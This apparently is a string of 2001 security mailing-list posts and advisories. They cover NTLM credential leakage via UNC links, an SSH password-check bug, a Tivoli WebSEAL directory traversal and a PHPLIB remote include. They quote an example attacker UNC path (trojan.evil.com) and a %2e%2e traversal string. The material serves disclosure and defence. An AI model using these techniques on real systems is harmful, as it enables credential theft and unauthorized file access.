Chad Loder <[EMAIL PROTECTED]> wrote: Snip > What's even MORE menacing to me is that UNC paths can > include references to file shares on remote computers > (on the local LAN *or* on the Internet) e.g.: > file://\\trojan.evil.com\HACKME > When Windows tries to open UNC paths like that, by > default it sends the current user's credentials to that > remote host via NetBIOS. So the end result is, any page > on the internet can cause your browser to redirect to > an arbitrary remote NetBIOS host, which causes your credentials > to be sent to that host. The host can be a Trojan which > simply cracks SMB credentials and pairs them with IP > addresses. Snip This particular breach has been around since before NT SP2. Arron Spangler found it when working at the University of Washington (I think it was). He named it IE Exploit#4. He even had a demo site up that you could connect to and it would list the last 20 ID's and first 3 characters of the users' passwords. MS has known about it since then, apparently they haven't fixed it. Their reply to him was that it wasn't a big issue because the passwords were encrypted. You can block this *particular* exploit by blocking NetBios traffic at your router or firewall. You can *not* stop it at the client machine by blocking or not installing NetBios. You *must* disable the WINS device in the devices list. Unfortunately, you can't use DHCP unless WINS is enabled, even if you aren't using a WINS server. I've tested this up through SP4 on NT. IE and Netscape are both vulnerable to it. The Opera browser doesn't appear to allow it to happen (at least the version I tested in '98). What's even more alarming is that while verifying this exploit while working at the University of Wisconsin I got in touch with IBM to see if they had plans for a full DHCP client for Windows (I was using Warp Server with WinNT4 clients and using IBM's DHCP module). In explaining my request I gave them the info on the exploit. A week later I got a call back from an engineer in Raleigh, NC saying he had bad news. He told me it was quite easy to make a few modifications and work the exploit over straight IP, with no need for NetBios of TCP/IP or NetBios. So it's quite likely that a firewall won't protect you, though I haven't tested this. IMO this all stems from MS's silly insistence that you not see any difference between local resources, LAN shares and Internet shares. No one will ever convince me that a client machine should try to log on to a server or share without your explicit permission. IBM has/had an excellent beginning in their Single SignOn code shipped in OS/2, though as usual they didn't take it anywhere and let it languish. On the first attempt it would ask your permission to attempt to connect to a share, and you could let it know if you wanted it to always sign on after that, or always prompt you for that particular share. Cheers. Opinions expressed here are my own...well, ok, not my employer's anyway. Thomas Rowe Systems Engineer Bank of America Atlanta, GA
Re: IBM TFTP Server for Java vulnerability
On Fri, 20 Jul 2001, Patrick Medhurst wrote: > The vendor was contacted on 19 June 2001 and responded on 20 June 2001 > as follows: > "We will take a look at the issue and fix it as soon as possible". > > Further correspondence requesting when a fix will be released has been > ignored. Just because a company can't tell you immediately when a bug will be fixed, you say that you are being ignored and see fit to release an advisory? Do you have any idea how easy the problem will be to fix? Probably not, and I bet IBM would have to do some research first, finding out what code contains the problem, allocating developers, build personnel, and QA the fix before even they know when a fix will be out. Sheesh. John Schultz [EMAIL PROTECTED]
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
On 2001-07-22 10:03:31 +0200, Florian Weimer wrote: >A quick glance at the source code suggests that SSH 2.3.0 and >2.4.0 have the same problem. Is this true? I suppose we are talking about this section of ssh 2.4.0's sshunixuser.c: 940 941/* Authentication is accepted if the encrypted passwords are identical. */ 942 #ifdef HAVE_HPUX_TCB_AUTH 943return strncmp(encrypted_password, correct_passwd, 944 strlen(correct_passwd)) == 0; 945 #else /* HAVE_HPUX_TCB_AUTH */ 946return strcmp(encrypted_password, correct_passwd) == 0; 947 #endif /* HAVE_HPUX_TCB_AUTH */ If I read this correctly, it's certainly not a problem unless ssh is compiled with HAVE_HPUX_TCB_AUTH defined. In that case, it may or may not be a problem. -- Thomas Roesslerhttp://log.does-not-exist.org/ PGP signature
Administrivia: Code Red
Now that the storm has passed for the most part I will only be approving a few final messages on this topic. Please, use the incidents mailing list if you wish to follow up on Core Red. You can find it at [EMAIL PROTECTED] -- Elias Levy SecurityFocus.com http://www.securityfocus.com/ Si vis pacem, para bellum
iXsecurity.20010618.policy_director.a
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 iXsecurity Security Vulnerability Report No: iXsecurity.20010618.policy_director.a = Vulnerability Summary - --- Problem:Web Seal Policy director does not handle URLs in hex code correct. It is possible to perform web traversals by appending %2e, to access the underlying web server. Threat: It is possible to view all files on the server and exploit some of the web server vulnerabilities. Affected Software: This exposure exists on Tivoli SecureWay Policy Director versions 3.01, 3.6, 3.7 and 3.7.1. Platform: This exposure only occurs on the Tivoli SecureWay Policy Director WebSEAL proxy server, running on any of the Web server operating systems, which consist of: HP-UX,IBM AIX, Sun Solaris, Microsoft Windows NT, or Windows 2000. Solution: Install the patch for Tivoli SecureWay Policy Director. Vulnerability Description - --- The IBM/Tivoli Web Seal Policy director is supposed to gather all directories on several web servers that users are allowed to access and present them as a logical web server. The policy director is supposed to seal users into pre-defined directories on the web server according to the company policy. If you make connections to the web server on port 80 the Web Seal is answering and tries to lock you into the pre-defined directory. By appending /%2e%2e/%2e%2e you are escaping the policy director and are able to perform directory traversals and viewing most files on the system as well as be able to exploit vulnerabilities in the web server. iXsecurity was able to exploit the good old RDS vulnerability by patching Rain Forest Puppys' msadc.pl script (www.wiretrip.net/rfp). Solution - -- Install the patch for Tivoli SecureWay Policy Director. This patch is available now and corrects the potential problem by enhancing the URL access control verification being performed. This patch may be downloaded as follows: For registered users, please visit http://www.tivoli.com/support/downloads/ For all other users, please access the FTP server: For version 3.01 ftp://ftp.tivoli.com/support/patches/patches_3.0.1/3.0.1-POL-0001 For version 3.6 ftp://ftp.tivoli.com/support/patches/patches_3.6/3.6-POL-0011 For version 3.7 ftp://ftp.tivoli.com/support/patches/patches_3.7.1/3.7.1-POL-0003 For version 3.7.1 ftp://ftp.tivoli.com/support/patches/patches_3.7.1/3.7.1-POL-0003 Additional Information - IBM and Tivoli was contacted 19 June, 2001 This vulnerability was found during a PenTest by Patrik Karlsson and Rikard Carlsson [EMAIL PROTECTED] [EMAIL PROTECTED] - iXsecurity is a Swedish and U.K. based tiger team that has worked with computer-related security since 1982 and done network penetration tests and technical audits since 1995. iXsecurity is hiring in Sweden and the United Kingdom. Call Christer Stafferod on +46(0)8 6621070 ( mailto:[EMAIL PROTECTED] ) for more information. -BEGIN PGP SIGNATURE- Version: PGP 7.0.1 iQA/AwUBO1gvcu0UT89+sfzcEQIkVACeLD1dUpsCw6oUOvgkYFDyfetwcrgAoPcb 3fngsDbc+EQGVz8Ce/oHrLCa =cFSE -END PGP SIGNATURE-
Re: URGENT SECURITY ADVISORY FOR SSH SECURE SHELL 3.0.0
"Stephanie Thomas" <[EMAIL PROTECTED]> writes: > A potential remote root exploit has been discovered > in SSH Secure Shell 3.0.0, for Unix only, concerning > accounts with password fields consisting of two or > fewer characters. A quick glance at the source code suggests that SSH 2.3.0 and 2.4.0 have the same problem. Is this true? > Use the following patch in the source code: It is not quite clear whether the license agreement permits modification of the source code. -- Florian Weimer[EMAIL PROTECTED] University of Stuttgart http://cert.uni-stuttgart.de/ RUS-CERT +49-711-685-5973/fax +49-711-685-5898
Re: IMP 2.2.6 (SECURITY) released
On Sat, Jul 21, 2001 at 05:22:22PM -0500, Brent J. Nordquist wrote: > > (1) A PHPLIB vulnerability allowed an attacker to provide a value for > the array element $_PHPLIB[libdir], and thus to get scripts from another > server to load and execute. This vulnerability is remotely exploitable. > (Horde 1.2.x ships with its own customized version of PHPLIB, which has > now been patched to prevent this problem.) Incidentally, this problem is not remotely exploitable if you have turned off transparent URL handling in the fopen() function in PHP. Look in your php.ini file for this line: allow_url_fopen = On and turn it 'Off'. Most applications don't need this URL parsing, and you should turn it on specifically for those that do, rather than leaving it on as a default. -- Anil Madhavapeddy, <[EMAIL PROTECTED]>
